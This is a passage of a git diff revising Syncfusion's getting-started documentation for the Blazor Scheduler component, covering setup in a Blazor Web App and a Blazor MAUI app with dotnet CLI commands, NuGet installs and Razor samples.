+To get started quickly with a Blazor Web App Scheduler, watch the following video:
 
 {% youtube
 "youtube:https://www.youtube.com/watch?v=PwjvHHMtL3U"%}
 
+## Create a new Blazor Web App
+
 {% tabcontents %}
 
 {% tabcontent Visual Studio %}
 
-## Prerequisites
-
-* [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
-
-## Create a new Blazor Web App in Visual Studio
-
-Create a **Blazor Web App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor Web App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app) documentation.
+Create a **Blazor Web App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor Web App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app) documentation.
 
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
 
-## Prerequisites
-
-* [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
-
-## Create a new Blazor Web App in Visual Studio Code
-
-Create a **Blazor Web App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor Web App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app?tabcontent=visual-studio-code) documentation.
-
-For example, in a Blazor Web App with the `Auto` interactive render mode, use the following commands in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>):
+Run the following command to create a new Blazor Web App.
 
-{% tabs %}
-{% highlight c# tabtitle="Blazor Web App" %}
+```bash
+dotnet new blazor -o BlazorWebApp --interactivity Auto
+```
 
-dotnet new blazor -o BlazorWebApp -int Auto
-cd BlazorWebApp
-cd BlazorWebApp.Client
-
-{% endhighlight %}
-{% endtabs %}
+Alternatively, create a **Blazor Web App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc), the [Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project), or the [C# Dev Kit](https://marketplace.visualstudio.com/items?itemName=ms-dotnettools.csdevkit) extension.
 
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
 
-## Prerequisites
-
-Install the latest version of [.NET SDK](https://dotnet.microsoft.com/en-us/download). If you previously installed the SDK, determine the installed version by executing the following command in a command prompt (Windows) or terminal (macOS) or command shell (Linux).
+Run the following command to create a new Blazor Web App.
 
-{% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+```bash
+dotnet new blazor -o BlazorWebApp --interactivity Auto
+```
 
-dotnet --version
+{% endtabcontent %}
 
-{% endhighlight %}
-{% endtabs %}
+{% endtabcontents %}
 
-## Create a Blazor Web App using .NET CLI
+N> Configure the appropriate [Interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-10.0#render-modes) and [Interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) while creating a Blazor Web App. For detailed information, refer to the [interactive render mode documentation](https://blazor.syncfusion.com/documentation/common/interactive-render-mode).
 
-Run the following command to create a new Blazor Web App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor Web App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app?tabcontent=.net-cli) documentation.
+## Install the required Blazor packages
 
-For example, in a Blazor Web App with the `Auto` interactive render mode, use the following commands:
+Install the [Syncfusion.Blazor.Schedule](https://www.nuget.org/packages/Syncfusion.Blazor.Schedule) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details. If using the `WebAssembly` or `Auto` render modes in the Blazor Web App, install these packages in the `.Client` project.
 
-{% tabs %}
-{% highlight c# tabtitle="Blazor Web App" %}
+{% tabcontents %}
 
-dotnet new blazor -o BlazorWebApp -int Auto
-cd BlazorWebApp
-cd BlazorWebApp.Client
+{% tabcontent Visual Studio %}
 
-{% endhighlight %}
-{% endtabs %}
+1. Go to *Tools → NuGet Package Manager → Manage NuGet Packages for Solution*.
+2. Search the required NuGet packages (`Syncfusion.Blazor.Schedule` and `Syncfusion.Blazor.Themes`) and install them.
 
 {% endtabcontent %}
 
-{% endtabcontents %}
-
-N> Configure the appropriate [Interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-10.0#render-modes) and [Interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) while creating a Blazor Web App. For detailed information, refer to the [interactive render mode documentation](https://blazor.syncfusion.com/documentation/common/interactive-render-mode).
+{% tabcontent Visual Studio Code %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+Open the terminal and run the following commands.
 
-Install [Syncfusion.Blazor.Schedule](https://www.nuget.org/packages/Syncfusion.Blazor.Schedule) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+```bash
+dotnet add package Syncfusion.Blazor.Schedule -v {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
+```
 
-Alternatively, run the following commands in the Package Manager Console to achieve the same.
+{% endtabcontent %}
 
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
+{% tabcontent .NET CLI %}
 
-Install-Package Syncfusion.Blazor.Schedule -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+Open the command prompt and run the following commands.
 
-{% endhighlight %}
-{% endtabs %}
+```bash
+dotnet add package Syncfusion.Blazor.Schedule -v {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
+```
 
-If using the `WebAssembly` or `Auto` render modes in the Blazor Web App, install these packages in the client project.
+{% endtabcontent %}
 
-N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
+{% endtabcontents %}
 
 ## Add import namespaces
 
-After the packages are installed, open the **~/_Imports.razor** file in the client project and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Schedule` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file in the `.Client` project and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Schedule` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -124,9 +104,9 @@ After the packages are installed, open the **~/_Imports.razor** file in the clie
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
+## Register the Blazor service
 
-Register the Syncfusion Blazor service in the **Program.cs** file of your Blazor Web App.
+Open the **Program.cs** file in Blazor Web App and register the Blazor service. If the **Interactive Render Mode** is set to `WebAssembly` or `Auto`, register the Blazor service in **Program.cs** files of both the server and client projects in your Blazor Web App.
 
 {% tabs %}
 {% highlight c# tabtitle="Program.cs" %}
@@ -140,39 +120,33 @@ builder.Services.AddSyncfusionBlazor();
 {% endhighlight %}
 {% endtabs %}
 
-N> If the **Interactive Render Mode** is set to `WebAssembly` or `Auto`, register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in **Program.cs** files of both the server and client projects in your Blazor Web App.
-
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/Components/App.razor** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the [stylesheet](https://blazor.syncfusion.com/documentation/appearance/themes) and [script references](https://blazor.syncfusion.com/documentation/common/adding-script-references) in the **App.razor** file.
 
-```html
+{% tabs %}
+{% highlight html tabtitle="App.razor" %}
 
+...
 <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
-....
+...
 <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
 
-```
-
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in your Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application.
+{% endhighlight %}
+{% endtabs %}
 
-## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Scheduler component
+## Add Blazor Scheduler component
 
-Add the Syncfusion Blazor Scheduler component in the **~/Components/Pages/*.razor** file. If the interactivity location is set to `Per page/component` in the Web App, define a render mode at the top of the `~/Pages/*.razor` file. (For example, `InteractiveServer`, `InteractiveWebAssembly` or `InteractiveAuto`).
+Open a Razor file located in the **~/Pages/*.razor** (for example, **Home.razor**) and add the [Blazor Scheduler](https://www.syncfusion.com/blazor-components/blazor-scheduler) component inside the razor file.
 
-N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssembly`, the render mode is automatically configured in the `App.razor` file by default.
+N> If the interactivity location is set to `Per page/component` in the Web App, define a render mode at the top of the razor file. (For example, `InteractiveServer`, `InteractiveWebAssembly` or `InteractiveAuto`). If the **Interactivity** is set to `Global` with `Auto` or `WebAssembly`, the render mode is automatically configured in the `App.razor` file by default.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
 
-@* desired render mode define here *@
 @rendermode InteractiveAuto
 
-{% endhighlight %}
-{% endtabs %}
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
+@using Syncfusion.Blazor.Schedule
 
 <SfSchedule TValue=AppointmentData>
     <ScheduleViews>
@@ -202,9 +176,39 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% endhighlight %}
 {% endtabs %}
 
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Scheduler component in the default web browser.
+**Run the application**
+
+{% tabcontents %}
+
+{% tabcontent Visual Studio %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LNVpjWADUUybFgTL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Scheduler Component](images/blazor-scheduler.png)" %}
+* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. The Blazor Scheduler component will render in your default web browser.
+
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code %}
+
+* Open the terminal and navigate to the Blazor Web App project folder, and run the following command.
+
+```bash
+dotnet run
+```
+
+{% endtabcontent %}
+
+{% tabcontent .NET CLI %}
+
+* Open the command prompt and navigate to the Blazor Web App project folder, and run the following command.
+
+```bash
+dotnet run
+```
+
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+{% previewsample "https://blazorplayground.syncfusion.com/embed/htBxNoMlgmFOllmR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Scheduler Component](images/blazor-scheduler.png)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Scheduler).
 
@@ -215,6 +219,8 @@ To populate the Scheduler with appointments, bind the event data to it by assign
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Schedule
+
 <SfSchedule TValue="AppointmentData" Height="650px" @bind-SelectedDate="@CurrentDate">
     <ScheduleEventSettings DataSource="@DataSource"></ScheduleEventSettings>
     <ScheduleViews>
@@ -260,6 +266,8 @@ The [Blazor Scheduler](https://www.syncfusion.com/blazor-components/blazor-sched
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Schedule
+
 <SfSchedule TValue="AppointmentData" Height="650px" @bind-SelectedDate="@CurrentDate">
     <ScheduleViews>
         <ScheduleView Option="View.Day"></ScheduleView>
@@ -291,7 +299,11 @@ The [Blazor Scheduler](https://www.syncfusion.com/blazor-components/blazor-sched
 
 ## Setting view
 
-The Scheduler displays `Week` view by default. To change the current view, define the applicable view name to the two-way binding of [CurrentView](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Schedule.SfSchedule-1.html#Syncfusion_Blazor_Schedule_SfSchedule_1_CurrentView) property. The applicable view names are,
+The Scheduler displays `Week` view by default. To change the current view, define the applicable view name to the two-way binding of [CurrentView](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Schedule.SfSchedule-1.html#Syncfusion_Blazor_Schedule_SfSchedule_1_CurrentView) property. 
+
+### Available Views
+
+The Scheduler supports the following built-in views:
 
 * Day
 * Week
@@ -306,9 +318,13 @@ The Scheduler displays `Week` view by default. To change the current view, defin
 * TimelineYear
 * Year
 
+You can configure only the required views as needed, and include additional views based on your application requirements.
+
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Schedule
+
 <SfSchedule TValue="AppointmentData" Height="650px" @bind-CurrentView="@CurrentView">
     <ScheduleViews>
         <ScheduleView Option="View.Day"></ScheduleView>
@@ -338,40 +354,6 @@ The Scheduler displays `Week` view by default. To change the current view, defin
 {% endhighlight %}
 {% endtabs %}
 
-## Individual view customization
-
-Each individual Scheduler views can be customized with its own options such as setting different start and end hour on Week and Work Week views, whereas hiding the weekend days on Month view alone which can be achieved by defining the `ScheduleView`.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfSchedule TValue="AppointmentData" Height="650px" @bind-SelectedDate="@CurrentDate">
-    <ScheduleViews>
-        <ScheduleView Option="View.Week" StartHour="07:00" EndHour="15:00"></ScheduleView>
-        <ScheduleView Option="View.WorkWeek" StartHour="10:00" EndHour="18:00"></ScheduleView>
-        <ScheduleView Option="View.Month" MaxEventsPerRow="2" ShowWeekend="false"></ScheduleView>
-    </ScheduleViews>
-</SfSchedule>
-@code{
-    DateTime CurrentDate = new DateTime(2020, 2, 13);
-    public class AppointmentData
-    {
-        public int Id { get; set; }
-        public string Subject { get; set; }
-        public string Location { get; set; }
-        public DateTime StartTime { get; set; }
-        public DateTime EndTime { get; set; }
-        public string Description { get; set; }
-        public bool IsAllDay { get; set; }
-        public string RecurrenceRule { get; set; }
-        public string RecurrenceException { get; set; }
-        public Nullable<int> RecurrenceID { get; set; }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
 ## See also
 
 1. [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for client-side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-dotnet-cli)
diff --git a/blazor/scheduler/getting-started-with-maui-app.md b/blazor/scheduler/getting-started-with-maui-app.md
index 4522b237a2..9be2e842a0 100644
--- a/blazor/scheduler/getting-started-with-maui-app.md
+++ b/blazor/scheduler/getting-started-with-maui-app.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor Scheduler component
 
-This section explains you through the step-by-step process of integrating the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Schedule component into your Blazor MAUI application using both Visual Studio and Visual Studio Code.
+This section explains you through the step-by-step process of integrating the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Scheduler](https://www.syncfusion.com/blazor-components/blazor-scheduler) component in your Blazor MAUI App using both [Visual Studio](https://visualstudio.microsoft.com/vs/) and [Visual Studio Code](https://code.visualstudio.com/).
 
 > **Ready to streamline your Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor development?** <br/>Discover the full potential of Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components with Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants. Effortlessly integrate, configure, and enhance projects with intelligent, context-aware code suggestions, streamlined setups, and real-time insights—all seamlessly integrated into preferred AI-powered IDEs like VS Code, Cursor, Syncfusion<sup style="font-size:70%">&reg;</sup> CodeStudio and more. [Explore Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants](https://blazor.syncfusion.com/documentation/ai-coding-assistant/overview)
 
@@ -25,21 +25,6 @@ To use the MAUI project templates, install the Mobile development with the .NET
 
 You can create a Blazor MAUI App using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=vswin). For detailed instructions, refer to [this guide](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app). For detailed instructions, refer to [this Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Schedule and Themes NuGet in the app
-
-To add **Blazor Scheduler**  component in the app, open the NuGet package manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), search and install [Syncfusion.Blazor.Schedule](https://www.nuget.org/packages/Syncfusion.Blazor.Schedule) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Schedule -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -50,33 +35,43 @@ To use the MAUI project templates, install the Mobile development with the .NET
 
 ## Create a new Blazor MAUI App in Visual Studio Code
 
-You can create a Blazor MAUI App using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to [this Blazor MAUI Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
-
-## Install Blazor Schedule and Themes NuGet in the App
+Create a Blazor MAUI App using Visual Studio Code via [Microsoft templates](https://learn.microsoft.com/en-us/dotnet/maui/get-started/first-app?pivots=devices-windows&view=net-maui-9.0&tabs=visual-studio-code) or the [Syncfusion® Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor MAUI App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/maui-blazor-app) documentation.
 
-To add **Blazor Scheduler**  component in the app, open the NuGet package manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), search and install [Syncfusion.Blazor.Schedule](https://www.nuget.org/packages/Syncfusion.Blazor.Schedule) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).
+Alternatively, create a MAUI application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
+{% highlight c# tabtitle="Blazor MAUI App" %}
 
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Schedule -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
+dotnet new maui-blazor -o MauiBlazorApp
+cd MauiBlazorApp
 
 {% endhighlight %}
-
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% endtabcontents %}
 
-## Add Import Namespaces
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Schedule](https://www.nuget.org/packages/Syncfusion.Blazor.Schedule/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Schedule` namespace.
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
+
+{% tabs %}
+{% highlight C# tabtitle="Package Manager" %}
+
+Install-Package Syncfusion.Blazor.Schedule -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
+
+## Add import namespaces
+
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Schedule` namespaces.
 
 {% tabs %}
 {% highlight razor tabtitle="~/_Imports.razor" %}
@@ -87,66 +82,52 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/MauiProgram.cs** file.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **~/MauiProgram.cs** file.
 
 {% tabs %}
-{% highlight c# tabtitle="~/MauiProgram.cs" hl_lines="2 19" %}
+{% highlight c# tabtitle="~/MauiProgram.cs" %}
 
-using Microsoft.Extensions.Logging;
+....
 using Syncfusion.Blazor;
 
-namespace MauiBlazorWindow;
+....
 
-    public static class MauiProgram
+public static class MauiProgram
+{
+    public static MauiApp CreateMauiApp()
     {
-        public static MauiApp CreateMauiApp()
-        {
-            var builder = MauiApp.CreateBuilder();
-            builder
-                .UseMauiApp<App>()
-                .ConfigureFonts(fonts =>
-                {
-                    fonts.AddFont("OpenSans-Regular.ttf", "OpenSansRegular");
-                });
-
-            builder.Services.AddMauiBlazorWebView();
-            builder.Services.AddSyncfusionBlazor();
-#if DEBUG
-            builder.Services.AddBlazorWebViewDeveloperTools();
-    		builder.Logging.AddDebug();
-#endif
-
-            return builder.Build();
-        }
+        ....
+        builder.Services.AddSyncfusionBlazor();
+        ....
     }
+}
 
 {% endhighlight %}
 {% endtabs %}
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-
-    //Blazor Scheduler Component script reference.
-    <!-- <script src="_content/Syncfusion.Blazor.Schedule/scripts/sf-schedule.min.js" type="text/javascript"></script> -->
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
+
 N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in your Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application.
 
-## Add Blazor Scheduler component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Scheduler component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Scheduler component in the **~/Pages/Index.razor** file.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Scheduler component in the **~/Pages/Home.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.Schedule
 
 <SfSchedule TValue=AppointmentData>
     <ScheduleViews>
@@ -176,28 +157,30 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Scheduler compon
 {% endhighlight %}
 {% endtabs %}
 
-### How to Run the Sample on Windows
+### How to run the sample on Windows
 
 Run the sample in Windows Machine mode, and it will run Blazor MAUI in Windows.
 
-![Blazor Scheduler Component](images/blazor-scheduler-maui-app.png)
+![Blazor Scheduler Component](images/blazor-scheduler-maui-app.webp)
 
-### How to Run the Sample on Android
+### How to run the sample on Android
 
 To run the Blazor DataGrid in a Blazor Android MAUI application using the Android emulator, follow these steps:
 
 Refer [here](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/device-manager#android-device-manager-on-windows) to install and launch Android emulator.
 
-N> If you encounter any errors while using the Android Emulator, refer to the following link for troubleshooting guidance[Troubleshooting Android Emulator](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/troubleshooting).
+N> If encounter any errors while using the Android Emulator, refer to the following link for troubleshooting guidance[Troubleshooting Android Emulator](https://learn.microsoft.com/en-us/dotnet/maui/android/emulator/troubleshooting).
 
-![Blazor Scheduler Component](images/blazor-scheduler.png)
+![Blazor Scheduler Component](images/blazor-scheduler.webp)
 
 ## Populating appointments
 
 To populate the Scheduler with appointments, bind the event data to it by assigning the `DataSource` property under [ScheduleEventSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Schedule.ScheduleEventSettings-1.html#Syncfusion_Blazor_Schedule_ScheduleEventSettings_1__ctor).
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.Schedule
 
 <SfSchedule TValue="AppointmentData" Height="650px" @bind-SelectedDate="@CurrentDate">
     <ScheduleEventSettings DataSource="@DataSource"></ScheduleEventSettings>
@@ -235,14 +218,16 @@ To populate the Scheduler with appointments, bind the event data to it by assign
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Scheduler with Appointments](images/blazor-scheduler-appointments.png)
+![Blazor Scheduler with Appointments](images/blazor-scheduler-appointments.webp)
 
 ## Setting date
 
 The [Blazor Scheduler](https://www.syncfusion.com/blazor-components/blazor-scheduler) usually displays the system date as its current date. To change the current date of Scheduler with specific date, define the two-way binding for [SelectedDate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Schedule.SfSchedule-1.html#Syncfusion_Blazor_Schedule_SfSchedule_1_SelectedDate) property.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.Schedule
 
 <SfSchedule TValue="AppointmentData" Height="650px" @bind-SelectedDate="@CurrentDate">
     <ScheduleViews>
@@ -253,6 +238,7 @@ The [Blazor Scheduler](https://www.syncfusion.com/blazor-components/blazor-sched
         <ScheduleView Option="View.Agenda"></ScheduleView>
     </ScheduleViews>
 </SfSchedule>
+
 @code{
     DateTime CurrentDate = new DateTime(2020, 1, 10);
     public class AppointmentData
@@ -275,7 +261,11 @@ The [Blazor Scheduler](https://www.syncfusion.com/blazor-components/blazor-sched
 
 ## Setting view
 
-The Scheduler displays `Week` view by default. To change the current view, define the applicable view name to the two-way binding of [CurrentView](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Schedule.SfSchedule-1.html#Syncfusion_Blazor_Schedule_SfSchedule_1_CurrentView) property. The applicable view names are,
+The Scheduler displays `Week` view by default. To change the current view, define the applicable view name to the two-way binding of [CurrentView](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Schedule.SfSchedule-1.html#Syncfusion_Blazor_Schedule_SfSchedule_1_CurrentView) property.
+
+### Available Views
+
+The Scheduler supports the following built-in views:
 
 * Day
 * Week
@@ -290,8 +280,12 @@ The Scheduler displays `Week` view by default. To change the current view, defin
 * TimelineYear
 * Year
 
